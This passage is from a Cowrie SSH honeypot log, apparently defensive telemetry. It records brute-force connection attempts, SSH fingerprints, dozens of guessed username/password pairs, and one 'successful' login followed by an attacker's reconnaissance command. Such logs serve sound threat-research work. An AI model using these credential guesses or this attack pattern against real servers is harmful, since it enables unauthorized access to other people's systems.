-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:53:15.152063Z","src_ip":"103.122.221.179","session":"6fc6761c18fd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":33290,"dst_ip":"159.203.135.109","dst_port":22,"session":"085b4afa1ff6","protocol":"ssh","message":"New connection: 91.92.40.36:33290 (159.203.135.109:22) [session: 085b4afa1ff6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:53:15.276969Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":38270,"dst_ip":"10.17.0.5","dst_port":22,"session":"6f9981ff1062","protocol":"ssh","message":"New connection: 45.153.34.195:38270 (10.17.0.5:22) [session: 6f9981ff1062]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:53:15.344882Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:53:15.530383Z","src_ip":"45.153.34.195","session":"6f9981ff1062","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:53:15.533591Z","src_ip":"45.153.34.195","session":"6f9981ff1062","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"jackass1","message":"login attempt [root/jackass1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:53:15.919455Z","src_ip":"103.122.221.179","session":"6fc6761c18fd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jenkins","password":"jenkins","message":"login attempt [jenkins/jenkins] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:53:16.121938Z","src_ip":"45.153.34.195","session":"6f9981ff1062","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:53:16.297392Z","src_ip":"91.92.40.36","session":"085b4afa1ff6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:53:16.300602Z","src_ip":"91.92.40.36","session":"085b4afa1ff6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:53:17.176867Z","src_ip":"103.122.221.179","session":"6fc6761c18fd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:53:17.323015Z","src_ip":"45.153.34.195","session":"6f9981ff1062","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":38272,"dst_ip":"10.17.0.5","dst_port":22,"session":"30988794e071","protocol":"ssh","message":"New connection: 45.153.34.195:38272 (10.17.0.5:22) [session: 30988794e071]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:53:18.309319Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:53:18.314569Z","src_ip":"45.153.34.195","session":"30988794e071","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:53:18.404108Z","src_ip":"45.153.34.195","session":"30988794e071","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"12","message":"login attempt [user/12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:53:18.686238Z","src_ip":"45.153.34.195","session":"30988794e071","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:53:19.775582Z","src_ip":"45.153.34.195","session":"30988794e071","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":16980,"dst_ip":"159.203.135.109","dst_port":22,"session":"648fc9ee0f9f","protocol":"ssh","message":"New connection: 91.92.40.36:16980 (159.203.135.109:22) [session: 648fc9ee0f9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:53:20.032428Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":38274,"dst_ip":"10.17.0.5","dst_port":22,"session":"bb02b2b4a173","protocol":"ssh","message":"New connection: 45.153.34.195:38274 (10.17.0.5:22) [session: bb02b2b4a173]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:53:21.145647Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:53:21.151334Z","src_ip":"45.153.34.195","session":"bb02b2b4a173","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:53:21.235288Z","src_ip":"45.153.34.195","session":"bb02b2b4a173","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"crmadmin123","message":"login attempt [admin/crmadmin123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:53:21.644797Z","src_ip":"91.92.40.36","session":"085b4afa1ff6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"dt201117","message":"login attempt [root/dt201117] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:53:21.694039Z","src_ip":"45.153.34.195","session":"bb02b2b4a173","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:53:21.829086Z","src_ip":"91.92.40.36","session":"648fc9ee0f9f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:53:21.832427Z","src_ip":"91.92.40.36","session":"648fc9ee0f9f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:53:22.778034Z","src_ip":"45.153.34.195","session":"bb02b2b4a173","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":49140,"dst_ip":"10.17.0.5","dst_port":22,"session":"fd206d6440e7","protocol":"ssh","message":"New connection: 45.153.34.195:49140 (10.17.0.5:22) [session: fd206d6440e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:53:24.110944Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:53:24.141227Z","src_ip":"45.153.34.195","session":"fd206d6440e7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:53:24.232545Z","src_ip":"45.153.34.195","session":"fd206d6440e7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ts3","password":"teamspeak","message":"login attempt [ts3/teamspeak] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:53:24.568588Z","src_ip":"45.153.34.195","session":"fd206d6440e7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:53:25.708855Z","src_ip":"45.153.34.195","session":"fd206d6440e7","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:53:25.915647Z","src_ip":"91.92.40.36","session":"085b4afa1ff6","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:53:25.918801Z","src_ip":"91.92.40.36","session":"085b4afa1ff6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":17010,"dst_ip":"159.203.135.109","dst_port":22,"session":"c3abdc6de0ed","protocol":"ssh","message":"New connection: 91.92.40.36:17010 (159.203.135.109:22) [session: c3abdc6de0ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:53:26.534630Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":49156,"dst_ip":"10.17.0.5","dst_port":22,"session":"b153843919a1","protocol":"ssh","message":"New connection: 45.153.34.195:49156 (10.17.0.5:22) [session: b153843919a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:53:26.881946Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:53:26.886360Z","src_ip":"45.153.34.195","session":"b153843919a1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:53:27.114280Z","src_ip":"45.153.34.195","session":"b153843919a1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ali","password":"123456","message":"login attempt [ali/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:53:27.444972Z","src_ip":"45.153.34.195","session":"b153843919a1","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"2.3","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:53:28.231442Z","src_ip":"91.92.40.36","session":"085b4afa1ff6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"13.0","message":"Connection lost after 13.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:53:28.235291Z","src_ip":"91.92.40.36","session":"085b4afa1ff6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:53:28.529573Z","src_ip":"45.153.34.195","session":"b153843919a1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"123.27.168.40","src_port":51107,"dst_ip":"10.17.0.5","dst_port":22,"session":"ad334a62c17e","protocol":"ssh","message":"New connection: 123.27.168.40:51107 (10.17.0.5:22) [session: ad334a62c17e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:53:28.859398Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:53:28.863929Z","src_ip":"123.27.168.40","session":"ad334a62c17e","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:53:29.180593Z","src_ip":"91.92.40.36","session":"c3abdc6de0ed","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@ope